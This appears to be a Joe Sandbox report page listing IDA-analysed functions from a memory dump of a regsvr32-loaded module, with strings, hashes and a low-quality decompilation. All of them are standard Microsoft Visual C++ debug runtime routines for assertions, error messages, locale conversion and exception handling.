_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2B533
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2B5ED

Strings

Expression: , xrefs: 000007FEF9D2B6BE
File: , xrefs: 000007FEF9D2B79B
Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application), xrefs: 000007FEF9D2B921
_CrtDbgReport: String too long or IO Error, xrefs: 000007FEF9D2B9B0
__crtMessageWindowW, xrefs: 000007FEF9D2B523, 000007FEF9D2B5DD, 000007FEF9D2B973, 000007FEF9D2B9E1
For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts., xrefs: 000007FEF9D2B655
wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D2B9E8
memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3), xrefs: 000007FEF9D2B5E4
<program name unknown>, xrefs: 000007FEF9D2B4F2
wcscpy_s(szExeName, 260, L"<program name unknown>"), xrefs: 000007FEF9D2B52A
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c, xrefs: 000007FEF9D2B51C, 000007FEF9D2B5D6, 000007FEF9D2B967, 000007FEF9D2B9DA
Module: , xrefs: 000007FEF9D2B84A
Microsoft Visual C++ Debug Library, xrefs: 000007FEF9D2B9FC
..., xrefs: 000007FEF9D2B81F
(*_errno()), xrefs: 000007FEF9D2B97F
Line: , xrefs: 000007FEF9D2B744

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invoke_watson_if_error$FileModuleName
String ID: For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts.$File: $Line: $Module: $(*_errno())$...$<program name unknown>$Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application)$Expression: $Microsoft Visual C++ Debug Library$_CrtDbgReport: String too long or IO Error$__crtMessageWindowW$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c$memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3)$wcscpy_s(szExeName, 260, L"<program name unknown>")$wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")
API String ID: 1949418964-1840610800
Opcode ID: 44b701395b3347ba89d33a25413c6d043cef3cadf6afd38b3a3e0c178ea01b00
Instruction ID: afa63f492d6c70519d8e627b7e85a2bc97528eb7c2a0a9c735d6d19596090ce3
Opcode Fuzzy Hash: 44b701395b3347ba89d33a25413c6d043cef3cadf6afd38b3a3e0c178ea01b00
Instruction Fuzzy Hash: 90F1D636609BC694E6B0DB54E8483AEB3E4F389780F604125DACD43BB9DB7ED194CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2AE40 Relevance: 38.7, APIs: 5, Strings: 17, Instructions: 207COMMON

Download Yara Rule

APIs

Part of subcall function 000007FEF9D2D490: _invalid_parameter.LIBCMTD ref: 000007FEF9D2D541

_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2AE81
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2AF35

Strings

File: , xrefs: 000007FEF9D2B0E3
..., xrefs: 000007FEF9D2B167
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D2B330
Expression: , xrefs: 000007FEF9D2B006
_CrtDbgReport: String too long or IO Error, xrefs: 000007FEF9D2B2F8
strcpy_s(szExeName, 260, "<program name unknown>"), xrefs: 000007FEF9D2AE78
Line: , xrefs: 000007FEF9D2B08C
m*, xrefs: 000007FEF9D2AE9E
memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3), xrefs: 000007FEF9D2AF2C
__crtMessageWindowA, xrefs: 000007FEF9D2AE71, 000007FEF9D2AF25, 000007FEF9D2B2BB, 000007FEF9D2B329
<program name unknown>, xrefs: 000007FEF9D2AE40
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c, xrefs: 000007FEF9D2AE6A, 000007FEF9D2AF1E, 000007FEF9D2B2AF, 000007FEF9D2B322
Microsoft Visual C++ Debug Library, xrefs: 000007FEF9D2B344
Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application), xrefs: 000007FEF9D2B269
(*_errno()), xrefs: 000007FEF9D2B2C7
For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts., xrefs: 000007FEF9D2AF9D
Module: , xrefs: 000007FEF9D2B192

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invoke_watson_if_error$_invalid_parameter
String ID: For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts.$File: $Line: $Module: $(*_errno())$...$<program name unknown>$Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application)$Expression: $Microsoft Visual C++ Debug Library$_CrtDbgReport: String too long or IO Error$__crtMessageWindowA$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c$memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3)$strcpy_s(szExeName, 260, "<program name unknown>")$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")$m*
API String ID: 2356156361-2279852085
Opcode ID: 2e784d19664e5a95b58b990f67b4737f05373876c1930d3c64995b1a0c69d3f2
Instruction ID: 4b7917f2e6131773ed7248c088fbaee50c31bf3d43f4cd1ee6c8c65be3a18826
Opcode Fuzzy Hash: 2e784d19664e5a95b58b990f67b4737f05373876c1930d3c64995b1a0c69d3f2
Instruction Fuzzy Hash: BCC1E77190DBC681EBB48B15E8803EEA3E1F389384F614126E6CD42BB9DB7ED155CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2CB4F Relevance: 38.7, APIs: 8, Strings: 14, Instructions: 174fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 000007FEF9D2CBF0
WriteFile.KERNEL32 ref: 000007FEF9D2CC8E

Strings

Runtime Error!Program: , xrefs: 000007FEF9D2CCF8
wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), error_text), xrefs: 000007FEF9D2CED8
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\crt0msg.c, xrefs: 000007FEF9D2CD21, 000007FEF9D2CD95, 000007FEF9D2CE42, 000007FEF9D2CE87, 000007FEF9D2CECA
_, xrefs: 000007FEF9D2CE71
Microsoft Visual C++ Runtime Library, xrefs: 000007FEF9D2CEEC
0I, xrefs: 000007FEF9D2CD0B
<program name unknown>, xrefs: 000007FEF9D2CD68
_NMSG_WRITE, xrefs: 000007FEF9D2CD28, 000007FEF9D2CD9C, 000007FEF9D2CE49, 000007FEF9D2CE8E, 000007FEF9D2CED1
wcscpy_s(progname, progname_size, L"<program name unknown>"), xrefs: 000007FEF9D2CDA3
wcsncpy_s(pch, progname_size - (pch - progname), L"...", 3), xrefs: 000007FEF9D2CE50
..., xrefs: 000007FEF9D2CE1A
wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"\n\n"), xrefs: 000007FEF9D2CE95
wcscpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"Runtime Error!\n\nProgram: "), xrefs: 000007FEF9D2CD2F
2H, xrefs: 000007FEF9D2CDB9

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: FileHandleWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program: $_NMSG_WRITE$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\crt0msg.c$wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"\n\n")$wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), error_text)$wcscpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"Runtime Error!\n\nProgram: ")$wcscpy_s(progname, progname_size, L"<program name unknown>")$wcsncpy_s(pch, progname_size - (pch - progname), L"...", 3)$_$0I$2H
API String ID: 3320372497-2837547082
Opcode ID: b64be2a8eca497eb38ff52dc13b3436bc691d1b4503f9f72973df8eece0bc5fb
Instruction ID: 0a9042e1a7d7c8a566278db251693fc707392c06de90b0eab8804e289765c981
Opcode Fuzzy Hash: b64be2a8eca497eb38ff52dc13b3436bc691d1b4503f9f72973df8eece0bc5fb
Instruction Fuzzy Hash: 4C910E31A1CA8685EBA0DB64E8543BE63E0F384784FA04126D6CD47AB9DF3FE545CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D312E3 Relevance: 35.1, APIs: 14, Strings: 6, Instructions: 102libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 000007FEF9D312EA
GetProcAddress.KERNEL32 ref: 000007FEF9D31310

Strings

MessageBoxW, xrefs: 000007FEF9D31304
GetLastActivePopup, xrefs: 000007FEF9D3135E
GetActiveWindow, xrefs: 000007FEF9D3133C
GetProcessWindowStation, xrefs: 000007FEF9D313B3
USER32.DLL, xrefs: 000007FEF9D312E3
GetUserObjectInformationW, xrefs: 000007FEF9D31380

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationW$MessageBoxW$USER32.DLL
API String ID: 2574300362-564504941
Opcode ID: fee43fc66515416ac0980d72625433c0e8db806945977869f613c1f5f8def98f
Instruction ID: 70a6d76ff3d3819b8955004bde04ce45998dc5e92ad36a3a08ed7dd3d00f33af
Opcode Fuzzy Hash: fee43fc66515416ac0980d72625433c0e8db806945977869f613c1f5f8def98f
Instruction Fuzzy Hash: F051A635A08A8286E7A09B19FC5476E73E4F784B51F609035DACE43A74DF7EE488CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D376C0 Relevance: 33.3, APIs: 22, Instructions: 322COMMON

Download Yara Rule

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D37727
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3778E
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D377C4
wcsncnt.LIBCMTD ref: 000007FEF9D37810
WideCharToMultiByte.KERNEL32 ref: 000007FEF9D3786A
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D378C0
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D37C69

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$ByteCharMultiWidewcsncnt
String ID:
API String ID: 641786319-0
Opcode ID: dd68202ae9e70015e3243afc192c87c9af493ce1bfd3ef4005d4635320cae465
Instruction ID: 27f88887327b6a70fd6681a1572ed994cc0fbf2c3fc8410d15a0bdfd36c78ba8
Opcode Fuzzy Hash: dd68202ae9e70015e3243afc192c87c9af493ce1bfd3ef4005d4635320cae465
Instruction Fuzzy Hash: 7402F432A0CEC5C1D6A09B15E8903AEB7A0F7857A5F604226E6DD47BE9DF3ED445CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D340B0 Relevance: 31.8, APIs: 14, Strings: 4, Instructions: 341
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 20%

			E000007FE7FEF9D340B0(void* __ecx, void* __edi, void* __esi, void* __esp, void* __eflags, void* __rax, long long __rcx, long long __rdx, long long __r8, long long __r9, void* _a8, void* _a16, long long _a24, void* _a32, signed int* _a40, signed int _a48, signed int _a56, long long _a64) {
				long long _v24;
				long long _v32;
				char _v56;
				long long _v64;
				long long _v72;
				char _v80;
				void* _v88;
				void* _v96;
				intOrPtr _v104;
				void* _v112;
				intOrPtr _v120;
				void* _v128;
				char _v132;
				char _v136;
				long long _v144;
				signed int _v152;
				char _v160;
				signed char _v164;
				signed int _v168;
				char _v176;
				char _v184;
				long long _v192;
				signed char _v200;
				long long _v208;
				signed int _v216;
				signed int _v224;
				long long _v232;
				void* _t222;
				void* _t244;
				void* _t295;
				long long _t302;
				long long _t303;
				intOrPtr _t311;
				long long _t312;
				long long _t321;
				intOrPtr _t325;
				long long _t329;
				long long _t330;
				long long _t332;

				_t295 = __rax;
				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_v164 = 0;
				_v152 = 0;
				_v168 = E000007FE7FEF9D33B40(_a40, _a32);
				E000007FE7FEF9D2E500(_a16, _a32, _a40,  &_v160);
				if (_v168 - E000007FE7FEF9D33C70(_t295, _a16, _a32, _a40) <= 0) goto 0xf9d34176;
				r9d = _v168;
				E000007FE7FEF9D33BD0(_t217,  &_v160, _a32, _a40);
				r9d = _v168;
				E000007FE7FEF9D33C00(_v168 - E000007FE7FEF9D33C70(_t295, _a16, _a32, _a40), _t295, _a16, _a32, _a40);
				goto 0xf9d34197;
				_v168 = E000007FE7FEF9D33C70(_t295, _a16, _a32, _a40);
				if (_v168 - 0xffffffff < 0) goto 0xf9d341b1;
				if (_v168 - _a40[1] >= 0) goto 0xf9d341b1;
				goto 0xf9d341b6;
				_t222 = E000007FE7FEF9D2CF80(_a40);
				if ( *_a8 != 0xe06d7363) goto 0xf9d34398;
				if ( *((intOrPtr*)(_a8 + 0x18)) != 4) goto 0xf9d34398;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930520) goto 0xf9d34213;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930521) goto 0xf9d34213;
				if ( *((intOrPtr*)(_a8 + 0x20)) != 0x19930522) goto 0xf9d34398;
				_t302 = _a8;
				if ( *((long long*)(_t302 + 0x30)) != 0) goto 0xf9d34398;
				0xf9d24000();
				if ( *((long long*)(_t302 + 0xf0)) != 0) goto 0xf9d3423a;
				goto 0xf9d34862;
				0xf9d24000();
				_t303 =  *((intOrPtr*)(_t302 + 0xf0));
				_a8 = _t303;
				0xf9d24000();
				_a24 =  *((intOrPtr*)(_t303 + 0xf8));
				_v164 = 1;
				E000007FE7FEF9D2E6E0(_t222, _a8,  *((intOrPtr*)(_a8 + 0x38)));
				if (E000007FE7FEF9D3D2C0(1, _a8) == 0) goto 0xf9d34290;
				goto 0xf9d34295;
				E000007FE7FEF9D2CF80(_a8);
				if ( *_a8 != 0xe06d7363) goto 0xf9d342fa;
				if ( *((intOrPtr*)(_a8 + 0x18)) != 4) goto 0xf9d342fa;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930520) goto 0xf9d342e6;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930521) goto 0xf9d342e6;
				if ( *((intOrPtr*)(_a8 + 0x20)) != 0x19930522) goto 0xf9d342fa;
				_t311 = _a8;
				if ( *((long long*)(_t311 + 0x30)) != 0) goto 0xf9d342fa;
				E000007FE7FEF9D2CF80(_t311);
				0xf9d24000();
				if ( *((long long*)(_t311 + 0x108)) == 0) goto 0xf9d34398;
				0xf9d24000();
				_t312 =  *((intOrPtr*)(_t311 + 0x108));
				_v144 = _t312;
				0xf9d24000();
				 *((long long*)(_t312 + 0x108)) = 0;
				if ((E000007FE7FEF9D35BB0(_t312, _a8, _v144) & 0x000000ff) == 0) goto 0xf9d34349;
				goto 0xf9d34398;
				if ((E000007FE7FEF9D35CC0(_v144) & 0x000000ff) == 0) goto 0xf9d34393;
				E000007FE7FEF9D35AB0(1, _a8);
				E000007FE7FEF9D34870( &_v56, "bad exception");
				E000007FE7FEF9D3D320(__edi, __esi, __esp,  &_v56, 0xf9d4a180);
				goto 0xf9d34398;
				E000007FE7FEF9D2CF50(_t312);
				if ( *_a8 != 0xe06d7363) goto 0xf9d347d9;
				if ( *((intOrPtr*)(_a8 + 0x18)) != 4) goto 0xf9d347d9;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930520) goto 0xf9d343f5;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930521) goto 0xf9d343f5;
				if ( *((intOrPtr*)(_a8 + 0x20)) != 0x19930522) goto 0xf9d347d9;
				if (_a40[3] <= 0) goto 0xf9d3466c;
				_v216 = _a32;
				_v224 =  &_v132;
				_t321 =  &_v136;
				_v232 = _t321;
				r9d = _v168;
				r8d = _a56;
				E000007FE7FEF9D2EA30(_a16, _a40);
				_v128 = _t321;
				goto 0xf9d3447e;
				_v136 = _v136 + 1;
				_v128 = _v128 + 0x14;
				if (_v136 - _v132 >= 0) goto 0xf9d3466c;
				if ( *_v128 - _v168 > 0) goto 0xf9d344b3;
				_t325 = _v128;
				if (_v168 -  *((intOrPtr*)(_t325 + 4)) <= 0) goto 0xf9d344b5;
				goto 0xf9d3445a;
				E000007FE7FEF9D2E680( *((intOrPtr*)(_t325 + 4)), _t325);
				_v112 = _t325 +  *((intOrPtr*)(_v128 + 0x10));
				_v120 =  *((intOrPtr*)(_v128 + 0xc));
				_v120 = _v120 - 1;
				_t329 = _v112 + 0x14;
				_v112 = _t329;
				if (_v120 <= 0) goto 0xf9d34667;
				_t244 = E000007FE7FEF9D2E6A0(_v120 - 1, _t329);
				_t330 = _t329 +  *((intOrPtr*)( *((intOrPtr*)(_a8 + 0x30)) + 0xc)) + 4;
				_v96 = _t330;
				E000007FE7FEF9D2E6A0(_t244, _t330);
				_v104 =  *((intOrPtr*)(_t330 +  *((intOrPtr*)( *((intOrPtr*)(_a8 + 0x30)) + 0xc))));
				goto 0xf9d3457e;
				_v104 = _v104 - 1;
				_t332 = _v96 + 4;
				_v96 = _t332;
				if (_v104 <= 0) goto 0xf9d34662;
				E000007FE7FEF9D2E6A0(_v104 - 1, _t332);
				_v88 = _t332 +  *_v96;
				if (E000007FE7FEF9D34CD0(_v112, _v88,  *((intOrPtr*)(_a8 + 0x30))) != 0) goto 0xf9d345ce;
				goto 0xf9d3455a;
				_v152 = 1;
				_v176 = _a48 & 0x000000ff;
				_v184 = _v164 & 0x000000ff;
				_v192 = _a64;
				_v200 = _a56;
				_v208 = _v128;
				_v216 = _v88;
				_v224 = _v112;
				_v232 = _a40;
				E000007FE7FEF9D35180(__edi, __esi, __esp, E000007FE7FEF9D34CD0(_v112, _v88,  *((intOrPtr*)(_a8 + 0x30))), _a8, _a16, _a24, _a32);
				goto 0xf9d34667;
				goto 0xf9d3455a;
				goto L1;
				goto 0xf9d3445a;
				__eax = _v152 & 0x000000ff;
				__eflags = _v152 & 0x000000ff;
				if ((_v152 & 0x000000ff) != 0) goto 0xf9d347d7;
				__rax = _a40;
				__eax =  *_a40;
				__eax =  *_a40 & 0x1fffffff;
				__eflags = __eax - 0x19930521;
				if (__eax - 0x19930521 < 0) goto 0xf9d347d7;
				__rax = _a40;
				__eflags =  *(__rax + 0x20);
				if ( *(__rax + 0x20) == 0) goto 0xf9d346bf;
				__eax = E000007FE7FEF9D2E680(__eax, __rax);
				_a40 = _a40[8];
				_v32 = __rax;
				goto 0xf9d346cb;
				_v32 = 0;
				__eflags = _v32;
				if (_v32 == 0) goto 0xf9d347d7;
				__rax = _a40;
				__eflags =  *(__rax + 0x20);
				if ( *(__rax + 0x20) == 0) goto 0xf9d34706;
				__eax = E000007FE7FEF9D2E680(__eax, __rax);
				_a40 = _a40[8];
				__rax = __rax + _a40[8];
				_v24 = __rax;
				goto 0xf9d34712;
				_v24 = 0;
				__rdx = _v24;
				__rcx = _a8;
				E000007FE7FEF9D35BB0(__rax, _a8, _v24) = __al & 0x000000ff;
				__eflags = __al & 0x000000ff;
				if ((__al & 0x000000ff) != 0) goto 0xf9d347d7;
				__rax = _a16;
				_v64 = _a16;
				__r9 =  &_v80;
				__r8 = _a40;
				__rdx = _a32;
				__rcx = _a16;
				__eax = E000007FE7FEF9D2E500(_a16, _a32, _a40,  &_v80);
				_v64 = __rax;
				_v72 = 0;
				__eax = _a48 & 0x000000ff;
				_v200 = __al;
				__rax = _a32;
				_v208 = _a32;
				__rax = _a40;
				_v216 = _a40;
				_v224 = 0xffffffff;
				_v232 = 0;
				__r9 = _v64;
				__r8 = _a24;
				__rdx = _a8;
				__rcx = _a16;
				__eax = E000007FE7FEF9D2EDC0(__edi, __esi, __esp, _a16, _a8, _a24, _v64);
				goto 0xf9d3484c;
				__rax = _a40;
				__eflags =  *(__rax + 0xc);
				if ( *(__rax + 0xc) <= 0) goto 0xf9d3484c;
				__eax = _a48 & 0x000000ff;
				__eflags = _a48 & 0x000000ff;
				if ((_a48 & 0x000000ff) != 0) goto 0xf9d34847;
				__rax = _a64;
				_v208 = _a64;
				__eax = _a56;
				_v216 = _a56;
				__eax = _v168;
				_v224 = _v168;
				__rax = _a40;
				_v232 = _a40;
				__r9 = _a32;
				__r8 = _a24;
				__rdx = _a16;
				__rcx = _a8;
				__eax = E000007FE7FEF9D34960(__ecx, _a8, _a16, _a24, _a32);
				goto 0xf9d3484c;
				__eax = E000007FE7FEF9D2CF50(__rax);
				0xf9d24000();
				__eflags =  *((long long*)(__rax + 0x108));
				if ( *((long long*)(__rax + 0x108)) != 0) goto 0xf9d3485d;
				goto 0xf9d34862;
				return E000007FE7FEF9D2CF80(__rax);
			}

0x7fef9d340b0
0x7fef9d340b0
0x7fef9d340b5
0x7fef9d340ba
0x7fef9d340bf
0x7fef9d340cb
0x7fef9d340d0
0x7fef9d340ea
0x7fef9d3410b
0x7fef9d34131
0x7fef9d34133
0x7fef9d3414d
0x7fef9d34152
0x7fef9d3416f
0x7fef9d34174
0x7fef9d34193
0x7fef9d3419c
0x7fef9d341ad
0x7fef9d341af
0x7fef9d341b1
0x7fef9d341c4
0x7fef9d341d6
0x7fef9d341eb
0x7fef9d341fc
0x7fef9d3420d
0x7fef9d34213
0x7fef9d34220
0x7fef9d34226
0x7fef9d34233
0x7fef9d34235
0x7fef9d3423a
0x7fef9d3423f
0x7fef9d34246
0x7fef9d3424e
0x7fef9d3425a
0x7fef9d34262
0x7fef9d34273
0x7fef9d3428c
0x7fef9d3428e
0x7fef9d34290
0x7fef9d342a3
0x7fef9d342b1
0x7fef9d342c2
0x7fef9d342d3
0x7fef9d342e4
0x7fef9d342e6
0x7fef9d342f3
0x7fef9d342f5
0x7fef9d342fa
0x7fef9d34307
0x7fef9d3430d
0x7fef9d34312
0x7fef9d34319
0x7fef9d3431e
0x7fef9d34323
0x7fef9d34345
0x7fef9d34347
0x7fef9d34358
0x7fef9d34364
0x7fef9d34378
0x7fef9d3438c
0x7fef9d34391
0x7fef9d34393
0x7fef9d343a6
0x7fef9d343b8
0x7fef9d343cd
0x7fef9d343de
0x7fef9d343ef
0x7fef9d34401
0x7fef9d3440f
0x7fef9d3441c
0x7fef9d34421
0x7fef9d34429
0x7fef9d3442e
0x7fef9d34433
0x7fef9d3444b
0x7fef9d34450
0x7fef9d34458
0x7fef9d34463
0x7fef9d34476
0x7fef9d3448c
0x7fef9d344a0
0x7fef9d344a2
0x7fef9d344b1
0x7fef9d344b3
0x7fef9d344b5
0x7fef9d344c9
0x7fef9d344dc
0x7fef9d344ee
0x7fef9d344fd
0x7fef9d34501
0x7fef9d34511
0x7fef9d34517
0x7fef9d3452c
0x7fef9d34531
0x7fef9d34539
0x7fef9d34551
0x7fef9d34558
0x7fef9d34563
0x7fef9d34572
0x7fef9d34576
0x7fef9d34586
0x7fef9d3458c
0x7fef9d3459f
0x7fef9d345ca
0x7fef9d345cc
0x7fef9d345ce
0x7fef9d345db
0x7fef9d345e4
0x7fef9d345f0
0x7fef9d345fc
0x7fef9d34608
0x7fef9d34615
0x7fef9d34622
0x7fef9d3462f
0x7fef9d34654
0x7fef9d3465b
0x7fef9d3465d
0x7fef9d34662
0x7fef9d34667
0x7fef9d3466c
0x7fef9d34671
0x7fef9d34673
0x7fef9d34679
0x7fef9d34681
0x7fef9d34683
0x7fef9d34688
0x7fef9d3468d
0x7fef9d34693
0x7fef9d3469b
0x7fef9d3469f
0x7fef9d346a1
0x7fef9d346ae
0x7fef9d346b5
0x7fef9d346bd
0x7fef9d346bf
0x7fef9d346cb
0x7fef9d346d4
0x7fef9d346da
0x7fef9d346e2
0x7fef9d346e6
0x7fef9d346e8
0x7fef9d346f5
0x7fef9d346f9
0x7fef9d346fc
0x7fef9d34704
0x7fef9d34706
0x7fef9d34712
0x7fef9d3471a
0x7fef9d34727
0x7fef9d3472a
0x7fef9d3472c
0x7fef9d34732
0x7fef9d3473a
0x7fef9d34742
0x7fef9d3474a
0x7fef9d34752
0x7fef9d3475a
0x7fef9d34762
0x7fef9d34767
0x7fef9d3476f
0x7fef9d3477b
0x7fef9d34783
0x7fef9d34787
0x7fef9d3478f
0x7fef9d34794
0x7fef9d3479c
0x7fef9d347a1
0x7fef9d347a9
0x7fef9d347b2
0x7fef9d347ba
0x7fef9d347c2
0x7fef9d347ca
0x7fef9d347d2
0x7fef9d347d7
0x7fef9d347d9
0x7fef9d347e1
0x7fef9d347e5
0x7fef9d347e7
0x7fef9d347ef
0x7fef9d347f1
0x7fef9d347f3
0x7fef9d347fb
0x7fef9d34800
0x7fef9d34807
0x7fef9d3480b
0x7fef9d3480f
0x7fef9d34813
0x7fef9d3481b
0x7fef9d34820
0x7fef9d34828
0x7fef9d34830
0x7fef9d34838
0x7fef9d34840
0x7fef9d34845
0x7fef9d34847
0x7fef9d3484c
0x7fef9d34851
0x7fef9d34859
0x7fef9d3485b
0x7fef9d34869

APIs

__StateFromControlPc.LIBCMTD ref: 000007FEF9D340E5

Part of subcall function 000007FEF9D2E500: __StateFromControlPc.LIBCMTD ref: 000007FEF9D2E534
Part of subcall function 000007FEF9D2E500: RtlLookupFunctionEntry.KERNEL32 ref: 000007FEF9D2E5D2

__GetUnwindTryBlock.LIBCMTD ref: 000007FEF9D34128
__SetState.LIBCMTD ref: 000007FEF9D3414D
__SetUnwindTryBlock.LIBCMTD ref: 000007FEF9D3416F
__GetUnwindTryBlock.LIBCMTD ref: 000007FEF9D3418E
_inconsistency.LIBCMTD ref: 000007FEF9D341B1

Part of subcall function 000007FEF9D2CF80: DecodePointer.KERNEL32 ref: 000007FEF9D2CF8B
Part of subcall function 000007FEF9D2CF80: terminate.LIBCMTD ref: 000007FEF9D2CFA4

_SetThrowImageBase.LIBCMTD ref: 000007FEF9D34273
_ValidateRead.LIBCMTD ref: 000007FEF9D34285
_inconsistency.LIBCMTD ref: 000007FEF9D34290
_inconsistency.LIBCMTD ref: 000007FEF9D342F5

Part of subcall function 000007FEF9D35CC0: type_info::operator==.LIBCMTD ref: 000007FEF9D35D5F

std::bad_exception::bad_exception.LIBCMTD ref: 000007FEF9D34378

